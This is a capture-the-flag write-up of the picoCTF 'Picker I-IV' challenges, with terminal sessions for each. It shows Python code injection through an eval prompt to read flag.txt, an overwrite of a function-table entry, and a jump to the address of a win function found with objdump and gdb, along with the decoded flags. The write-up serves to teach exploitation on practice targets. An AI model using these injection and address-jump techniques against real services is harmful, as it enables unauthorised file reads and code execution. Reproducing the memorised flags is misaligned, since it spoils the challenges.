Try   HackMD

Picker I

  1. from source code, we can see that we can run the function we want by entering the function name instead of entering getRandomNumber
  2. after entering win, we get a string: 0x70 0x69 0x63 0x6f 0x43 0x54 0x46 0x7b 0x34 0x5f 0x64 0x31 0x34 0x6d 0x30 0x6e 0x64 0x5f 0x31 0x6e 0x5f 0x37 0x68 0x33 0x5f 0x72 0x30 0x75 0x67 0x68 0x5f 0x63 0x65 0x34 0x62 0x35 0x64 0x35 0x62 0x7d , which is a series of hexidecimal numbers
  3. use Python3 or online decoder to decode it
┌──(kali㉿kali)-[~]
└─$ python3                   
Python 3.11.2 (main, Mar 13 2023, 12:18:29) [GCC 12.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> in_str="0x70 0x69 0x63 0x6f 0x43 0x54 0x46 0x7b 0x34 0x5f 0x64 0x31 0x34 0x6d 0x30 0x6e 0x64 0x5f 0x31 0x6e 0x5f 0x37 0x68 0x33 0x5f 0x72 0x30 0x75 0x67 0x68 0x5f 0x63 0x65 0x34 0x62 0x35 0x64 0x35 0x62 0x7d"
>>> list1=in_str.split()
>>> for e in list1: print(chr(int(e,16)),end="")
... 
picoCTF{4_d14m0nd_1n_7h3_r0ugh_ce4b5d5b}

Picker II

  1. This time, there is a filter that will block us from entering win to call the win function. Also, the hint says that Can you do what win does with your input to the program?, and what win does is printing the flag.
  2. From the source code, we can see that the content of the flag is read through this line: open('flag.txt', 'r').read(). So, we can print out the flag by
    print(open('flag.txt', 'r').read()), the complete code will be like this:
┌──(kali㉿kali)-[~/code]
└─$ nc saturn.picoctf.net 50454
==> print(open('flag.txt', 'r').read())                   
picoCTF{f1l73r5_f41l_c0d3_r3f4c70r_m1gh7_5ucc33d_95d44590}
'NoneType' object is not callable
==>          

*NOTE: If there's one more pair of brackets after the function, it(the function) will still be processed. For example:

┌──(kali㉿kali)-[~/code]
└─$ nc saturn.picoctf.net 49374 
==> getRandomNumber()
4
'NoneType' object is not callable

Picker III

  1. Overwrite what the function listed do
┌──(kali㉿kali)-[~/code]
└─$ nc saturn.picoctf.net 51933
==> 3
Please enter variable name to write: getRandomNumber
Please enter new value of variable: win
==> ?

This program fixes vulnerabilities in its predecessor by limiting what
functions can be called to a table of predefined functions. This still puts
the user in charge, but prevents them from calling undesirable subroutines.

* Enter 'quit' to quit the program.
* Enter 'help' for this text.
* Enter 'reset' to reset the table.
* Enter '1' to execute the first function in the table.
* Enter '2' to execute the second function in the table.
* Enter '3' to execute the third function in the table.
* Enter '4' to execute the fourth function in the table.

Here's the current table:
  
1: print_table
2: read_variable
3: write_variable
4: getRandomNumber
==> 4
0x70 0x69 0x63 0x6f 0x43 0x54 0x46 0x7b 0x37 0x68 0x31 0x35 0x5f 0x31 0x35 0x5f 0x77 0x68 0x34 0x37 0x5f 0x77 0x33 0x5f 0x67 0x33 0x37 0x5f 0x77 0x31 0x37 0x68 0x5f 0x75 0x35 0x33 0x72 0x35 0x5f 0x31 0x6e 0x5f 0x63 0x68 0x34 0x72 0x67 0x33 0x5f 0x32 0x32 0x36 0x64 0x64 0x32 0x38 0x35 0x7d 
==>     

Note:

print(open('flag.txt', 'r').read()) is too long for new value of variable, so you'll get Illegal value in response.
Also, creating a new variable doesn't work either, since there's no function number for the newly created function, and read_variable function is only able to print the content of the function instead of executing it, like this:

==> 3
Please enter variable name to write: flag
Please enter new value of variable: "open" + "\x28" + "\"flag.txt\"" + "," + "\"r\"" + "\x29" + ".read" + "\x28" + "\x29"
==> 2
Please enter variable name to read: flag
open("flag.txt","r").read()
  1. Use Python to convert hex to text
┌──(kali㉿kali)-[~]
└─$ python3       
Python 3.11.2 (main, Mar 13 2023, 12:18:29) [GCC 12.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.

>>> in_str="0x70 0x69 0x63 0x6f 0x43 0x54 0x46 0x7b 0x37 0x68 0x31 0x35 0x5f 0x31 0x35 0x5f 0x77 0x68 0x34 0x37 0x5f 0x77 0x33 0x5f 0x67 0x33 0x37 0x5f 0x77 0x31 0x37 0x68 0x5f 0x75 0x35 0x33 0x72 0x35 0x5f 0x31 0x6e 0x5f 0x63 0x68 0x34 0x72 0x67 0x33 0x5f 0x32 0x32 0x36 0x64 0x64 0x32 0x38 0x35 0x7d"
>>> list1=in_str.split()
>>> list1
['0x70', '0x69', '0x63', '0x6f', '0x43', '0x54', '0x46', '0x7b', '0x37', '0x68', '0x31', '0x35', '0x5f', '0x31', '0x35', '0x5f', '0x77', '0x68', '0x34', '0x37', '0x5f', '0x77', '0x33', '0x5f', '0x67', '0x33', '0x37', '0x5f', '0x77', '0x31', '0x37', '0x68', '0x5f', '0x75', '0x35', '0x33', '0x72', '0x35', '0x5f', '0x31', '0x6e', '0x5f', '0x63', '0x68', '0x34', '0x72', '0x67', '0x33', '0x5f', '0x32', '0x32', '0x36', '0x64', '0x64', '0x32', '0x38', '0x35', '0x7d']
>>> for e in list1: print(chr(int(e,16)),end="")
... 
picoCTF{7h15_15_wh47_w3_g37_w17h_u53r5_1n_ch4rg3_226dd285}

Picker IV

  1. Use objdump to access the location of the function win:
┌──(kali㉿kali)-[~/code]
└─$ objdump -M intel -d  picker-IV | grep "win"
000000000040129e <win>:
  4012d2:       75 16                   jne    4012ea <win+0x4c>
  4012f9:       eb 1a                   jmp    401315 <win+0x77>
  401319:       75 e0                   jne    4012fb <win+0x5d>

Alternative (gdb)

┌──(kali㉿kali)-[~/code]
└─$ gdb picker-IV  
GNU gdb (Debian 13.2-1) 13.2
Copyright (C) 2023 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>                                                       
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from picker-IV...
(No debugging symbols found in picker-IV)
gdb-peda$ info function
All defined functions:

Non-debugging symbols:
0x0000000000401000  _init
0x00000000004010e0  putchar@plt
0x00000000004010f0  puts@plt
0x0000000000401100  fclose@plt
0x0000000000401110  printf@plt
0x0000000000401120  fgetc@plt
0x0000000000401130  signal@plt
0x0000000000401140  setvbuf@plt
0x0000000000401150  fopen@plt
0x0000000000401160  __isoc99_scanf@plt
0x0000000000401170  exit@plt
0x0000000000401180  sleep@plt
0x0000000000401190  _start
0x00000000004011c0  _dl_relocate_static_pie
0x00000000004011d0  deregister_tm_clones
0x0000000000401200  register_tm_clones
0x0000000000401240  __do_global_dtors_aux
0x0000000000401270  frame_dummy
0x0000000000401276  print_segf_message
0x000000000040129e  win
0x0000000000401334  main
0x00000000004013d0  __libc_csu_init
0x0000000000401440  __libc_csu_fini
0x0000000000401448  _fini

and you'll see the location of win, which is 0x000000000040129e
(Ghidra will work as well, I assume)
2. Send the location to netcat

┌──(kali㉿kali)-[~]
└─$ nc saturn.picoctf.net 50930 
Enter the address in hex to jump to, excluding '0x': 000000000040129e
You input 0x40129e
You won!
picoCTF{n3v3r_jump_t0_u53r_5uppl13d_4ddr35535_b8de1af4}

Some ranting

In the beginning, I thought what I should do is to convert win from string to hex

┌──(kali㉿kali)-[~]
└─$ python3
Python 3.11.2 (main, Mar 13 2023, 12:18:29) [GCC 12.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> in_str="win"
>>> hex_str=in_str.encode()
>>> hex_str
b'win'
>>> hex_str.hex()
'77696e'

but it failed, like this:

┌──(kali㉿kali)-[~/code]
└─$ nc saturn.picoctf.net 50930                         
Enter the address in hex to jump to, excluding '0x': 77696e
You input 0x77696e
Segfault triggered! Exiting.

Then I saw the hint: How can you find the address that win is at?. I looked into the source code again, and found that the function seemed to be called by its address: void (*foo)(void) = (void (*)())val; foo();, so I turned to look for the address